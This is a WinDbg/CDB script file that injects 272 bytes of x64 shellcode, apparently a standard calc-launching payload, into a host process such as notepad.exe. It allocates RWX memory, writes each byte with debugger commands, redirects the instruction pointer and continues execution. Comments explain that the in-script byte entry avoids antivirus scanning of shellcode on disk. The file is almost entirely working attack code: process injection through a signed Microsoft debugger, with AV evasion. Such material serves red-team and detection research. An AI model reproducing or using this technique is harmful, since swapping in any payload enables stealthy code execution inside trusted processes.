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Copy pathCdb_calc.wds
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Cdb_calc.wds
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$$ Save this to a file - e.g. x64_calc.wds
$$ Example: launch this shellcode in a host notepad.exe process.
$$ cdb.exe -cf x64_calc.wds -o notepad.exe
$$ Allocate 272 bytes for the shellcode buffer
$$ Save the address of the resulting RWX in the pseudo $t0 register
.foreach /pS 5 ( register { .dvalloc 272 } ) { r @$t0 = register }
$$ Copy each individual shellcode byte to the allocated RWX buffer
$$ Note: The `eq` command could be used to save space, if desired.
$$ Note: .readmem can be used to read a shellcode buffer too but
$$ shellcode on disk will be subject to AV scanning.
;eb @$t0+00 FC;eb @$t0+01 48;eb @$t0+02 83;eb @$t0+03 E4
;eb @$t0+04 F0;eb @$t0+05 E8;eb @$t0+06 C0;eb @$t0+07 00
;eb @$t0+08 00;eb @$t0+09 00;eb @$t0+0A 41;eb @$t0+0B 51
;eb @$t0+0C 41;eb @$t0+0D 50;eb @$t0+0E 52;eb @$t0+0F 51
;eb @$t0+10 56;eb @$t0+11 48;eb @$t0+12 31;eb @$t0+13 D2
;eb @$t0+14 65;eb @$t0+15 48;eb @$t0+16 8B;eb @$t0+17 52
;eb @$t0+18 60;eb @$t0+19 48;eb @$t0+1A 8B;eb @$t0+1B 52
;eb @$t0+1C 18;eb @$t0+1D 48;eb @$t0+1E 8B;eb @$t0+1F 52
;eb @$t0+20 20;eb @$t0+21 48;eb @$t0+22 8B;eb @$t0+23 72
;eb @$t0+24 50;eb @$t0+25 48;eb @$t0+26 0F;eb @$t0+27 B7
;eb @$t0+28 4A;eb @$t0+29 4A;eb @$t0+2A 4D;eb @$t0+2B 31
;eb @$t0+2C C9;eb @$t0+2D 48;eb @$t0+2E 31;eb @$t0+2F C0
;eb @$t0+30 AC;eb @$t0+31 3C;eb @$t0+32 61;eb @$t0+33 7C
;eb @$t0+34 02;eb @$t0+35 2C;eb @$t0+36 20;eb @$t0+37 41
;eb @$t0+38 C1;eb @$t0+39 C9;eb @$t0+3A 0D;eb @$t0+3B 41
;eb @$t0+3C 01;eb @$t0+3D C1;eb @$t0+3E E2;eb @$t0+3F ED
;eb @$t0+40 52;eb @$t0+41 41;eb @$t0+42 51;eb @$t0+43 48
;eb @$t0+44 8B;eb @$t0+45 52;eb @$t0+46 20;eb @$t0+47 8B
;eb @$t0+48 42;eb @$t0+49 3C;eb @$t0+4A 48;eb @$t0+4B 01
;eb @$t0+4C D0;eb @$t0+4D 8B;eb @$t0+4E 80;eb @$t0+4F 88
;eb @$t0+50 00;eb @$t0+51 00;eb @$t0+52 00;eb @$t0+53 48
;eb @$t0+54 85;eb @$t0+55 C0;eb @$t0+56 74;eb @$t0+57 67
;eb @$t0+58 48;eb @$t0+59 01;eb @$t0+5A D0;eb @$t0+5B 50
;eb @$t0+5C 8B;eb @$t0+5D 48;eb @$t0+5E 18;eb @$t0+5F 44
;eb @$t0+60 8B;eb @$t0+61 40;eb @$t0+62 20;eb @$t0+63 49
;eb @$t0+64 01;eb @$t0+65 D0;eb @$t0+66 E3;eb @$t0+67 56
;eb @$t0+68 48;eb @$t0+69 FF;eb @$t0+6A C9;eb @$t0+6B 41
;eb @$t0+6C 8B;eb @$t0+6D 34;eb @$t0+6E 88;eb @$t0+6F 48
;eb @$t0+70 01;eb @$t0+71 D6;eb @$t0+72 4D;eb @$t0+73 31
;eb @$t0+74 C9;eb @$t0+75 48;eb @$t0+76 31;eb @$t0+77 C0
;eb @$t0+78 AC;eb @$t0+79 41;eb @$t0+7A C1;eb @$t0+7B C9
;eb @$t0+7C 0D;eb @$t0+7D 41;eb @$t0+7E 01;eb @$t0+7F C1
;eb @$t0+80 38;eb @$t0+81 E0;eb @$t0+82 75;eb @$t0+83 F1
;eb @$t0+84 4C;eb @$t0+85 03;eb @$t0+86 4C;eb @$t0+87 24
;eb @$t0+88 08;eb @$t0+89 45;eb @$t0+8A 39;eb @$t0+8B D1
;eb @$t0+8C 75;eb @$t0+8D D8;eb @$t0+8E 58;eb @$t0+8F 44
;eb @$t0+90 8B;eb @$t0+91 40;eb @$t0+92 24;eb @$t0+93 49
;eb @$t0+94 01;eb @$t0+95 D0;eb @$t0+96 66;eb @$t0+97 41
;eb @$t0+98 8B;eb @$t0+99 0C;eb @$t0+9A 48;eb @$t0+9B 44
;eb @$t0+9C 8B;eb @$t0+9D 40;eb @$t0+9E 1C;eb @$t0+9F 49
;eb @$t0+A0 01;eb @$t0+A1 D0;eb @$t0+A2 41;eb @$t0+A3 8B
;eb @$t0+A4 04;eb @$t0+A5 88;eb @$t0+A6 48;eb @$t0+A7 01
;eb @$t0+A8 D0;eb @$t0+A9 41;eb @$t0+AA 58;eb @$t0+AB 41
;eb @$t0+AC 58;eb @$t0+AD 5E;eb @$t0+AE 59;eb @$t0+AF 5A
;eb @$t0+B0 41;eb @$t0+B1 58;eb @$t0+B2 41;eb @$t0+B3 59
;eb @$t0+B4 41;eb @$t0+B5 5A;eb @$t0+B6 48;eb @$t0+B7 83
;eb @$t0+B8 EC;eb @$t0+B9 20;eb @$t0+BA 41;eb @$t0+BB 52
;eb @$t0+BC FF;eb @$t0+BD E0;eb @$t0+BE 58;eb @$t0+BF 41
;eb @$t0+C0 59;eb @$t0+C1 5A;eb @$t0+C2 48;eb @$t0+C3 8B
;eb @$t0+C4 12;eb @$t0+C5 E9;eb @$t0+C6 57;eb @$t0+C7 FF
;eb @$t0+C8 FF;eb @$t0+C9 FF;eb @$t0+CA 5D;eb @$t0+CB 48
;eb @$t0+CC BA;eb @$t0+CD 01;eb @$t0+CE 00;eb @$t0+CF 00
;eb @$t0+D0 00;eb @$t0+D1 00;eb @$t0+D2 00;eb @$t0+D3 00
;eb @$t0+D4 00;eb @$t0+D5 48;eb @$t0+D6 8D;eb @$t0+D7 8D
;eb @$t0+D8 01;eb @$t0+D9 01;eb @$t0+DA 00;eb @$t0+DB 00
;eb @$t0+DC 41;eb @$t0+DD BA;eb @$t0+DE 31;eb @$t0+DF 8B
;eb @$t0+E0 6F;eb @$t0+E1 87;eb @$t0+E2 FF;eb @$t0+E3 D5
;eb @$t0+E4 BB;eb @$t0+E5 E0;eb @$t0+E6 1D;eb @$t0+E7 2A
;eb @$t0+E8 0A;eb @$t0+E9 41;eb @$t0+EA BA;eb @$t0+EB A6
;eb @$t0+EC 95;eb @$t0+ED BD;eb @$t0+EE 9D;eb @$t0+EF FF
;eb @$t0+F0 D5;eb @$t0+F1 48;eb @$t0+F2 83;eb @$t0+F3 C4
;eb @$t0+F4 28;eb @$t0+F5 3C;eb @$t0+F6 06;eb @$t0+F7 7C
;eb @$t0+F8 0A;eb @$t0+F9 80;eb @$t0+FA FB;eb @$t0+FB E0
;eb @$t0+FC 75;eb @$t0+FD 05;eb @$t0+FE BB;eb @$t0+FF 47
;eb @$t0+100 13;eb @$t0+101 72;eb @$t0+102 6F;eb @$t0+103 6A
;eb @$t0+104 00;eb @$t0+105 59;eb @$t0+106 41;eb @$t0+107 89
;eb @$t0+108 DA;eb @$t0+109 FF;eb @$t0+10A D5;eb @$t0+10B 63
;eb @$t0+10C 61;eb @$t0+10D 6C;eb @$t0+10E 63;eb @$t0+10F 00
$$ Redirect execution to the shellcode buffer
r @$ip=@$t0
$$ Continue program execution - i.e. execute the shellcode
g
$$ Continue program execution after hitting a breakpoint
$$ upon starting calc.exe. This is specific to this shellcode.
g
$$ quit cdb.exe
q